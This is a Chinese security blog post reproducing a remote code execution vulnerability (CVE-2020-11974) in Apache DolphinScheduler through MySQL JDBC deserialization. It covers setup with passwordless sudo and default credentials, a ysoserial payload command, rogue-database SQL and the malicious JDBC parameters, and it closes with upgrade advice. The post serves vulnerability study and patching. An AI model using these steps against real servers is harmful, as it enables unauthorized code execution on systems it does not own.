CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

admin 2022年10月1日08:48:01评论110 views字数 2789阅读9分17秒阅读模式
CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现
01
漏洞概述
Apache DolphinScheduler是一个分布式去中心化,易扩展的可视化DAG工作流任务调度平台,中文名为海豚调度器。致力于解决数据处理流程中错综复杂的依赖关系,使调度系统在数据处理流程中开箱即用。

2020年9月11日,Apache软件基金会发布安全公告,修复了Apache DolphinScheduler远程执行代码漏洞(CVE-2020-11974),CVE-2020-11974与mysql connectorj远程执行代码漏洞有关,在选择mysql作为数据库时,攻击者可通过jdbc connect参数输入{detectCustomCollations:true,autoDeserialize:true} 在DolphinScheduler 服务器上远程执行代码。


CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现
02
影响版本

Apache DolphinScheduler = 1.2.0-1.2.1


CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现
03
环境搭建

本文中所安装的Apache DolphinScheduler版本为1.2.0

官方安装文档地址如下

https://dolphinscheduler.apache.org/zh-cn/docs/1.2.1/user_doc/standalone-deployment.html

可以看到在安装Apache DolphinScheduler之前还需要安装mysql、jdk、zookeeper等依赖组件,本文由于篇幅原因不对组件的安装过程进行展开

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

首先安装后端

首先通过下面的命令在Linux服务器上创建dolphinscheduler部署目录,同时下载dolphinscheduler安装包

mkdir -p /opt/dolphinschedulercd /opt/dolphinschedulerwget https://archive.apache.org/dist/incubator/dolphinscheduler/1.2.1/apache-dolphinscheduler-incubating-1.2.1-dolphinscheduler-bin.tar.gz

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

对dolphinscheduler安装包进行解压

tar -zxvf apache-dolphinscheduler-incubating-1.2.1-dolphinscheduler-bin.tar.gz -C /opt/dolphinschedulermv apache-dolphinscheduler-incubating-1.2.1-dolphinscheduler-bin.tar.gz dolphinscheduler

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

创建部署用户,并对创建的用户配置sudo免密

useradd dolphinschedulerecho "dolphinscheduler" | passwd --stdin dolphinschedulersed -i '$adolphinscheduler ALL=(ALL) NOPASSWD: NOPASSWD: ALL' /etc/sudoerssed -i 's/Defaults requirett/#Defaults requirett/g' /etc/sudoerschown -R dolphinscheduler:dolphinscheduler dolphinscheduler

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

配置dolphinscheduler用户的ssh免密

su dolphinschedulerssh-keygen -t rsa -P '' -f ~/.ssh/id_rsacat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keyschmod 600 ~/.ssh/authorized_keys

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

接下来是初始化数据库

首先在mysql数据库中执行下面的SQL语句

CREATE DATABASE dolphinscheduler DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_general_ci;GRANT ALL PRIVILEGES ON dolphinscheduler.* TO 'root'@'%' IDENTIFIED BY 'mysql';GRANT ALL PRIVILEGES ON dolphinscheduler.* TO 'root'@'localhost' IDENTIFIED BY 'mysql';flush privileges;

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

修改数据库配置文件,并将mysql-connector-java 驱动 jar放置到lib目录下

vi conf/application-dao.properties

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

上述配置完成后,执行下面的sh脚本进行数据库初始化

sh script/create-dolphinscheduler.sh

然后是对install.sh脚本进行配置

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

接下来是安装前端部分

前端安装部分较为简单,下载解压后直接运行安装脚本即可

cd /opt/dolphinschedulertar -zxvf apache-dolphinscheduler-incubating-1.2.0-dolphinscheduler-front-bin.tar.gz -C /opt/dolphinschedulermv apache-dolphinscheduler-incubating-1.2.0-dolphinscheduler-front-bin dolphinscheduler-uicd dolphinscheduler-uish ./install-dolphinscheduler-ui.sh

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

安装完成后使用浏览器访问http://ip:port,并使用默认的账号密码admin/dolphinscheduler123即可登录

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现
04
漏洞复现

首先使用ysoserial生成poc

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRE8u20 "touch /tmp/1.txt" > t

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

poc生成后需要使用python脚本转换为hex字符便于发送请求

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

在数据库中执行下面的指令

set @a=0x{hex payload};update codeplutos.payload set character_set_name = @a;

然后登录dolphinscheduler创建数据源

在jdbc connect parameters输入下面的poc

{"detectCustomCollations":true,"autoDeserialize":true,"serverTimezone":"UTC"}

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

连接后即可在/tmp目录下发现成功生成了1.txt文件,漏洞复现成功

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现
CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现
05
修复建议
将Apache DolphinScheduler升级到最新版本

CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现


CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

原文始发于微信公众号(第59号):CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日08:48:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-11974 Apache DolphinScheduler远程执行代码漏洞复现http://cn-sec.com/archives/1326076.html

发表评论

匿名网友 填写信息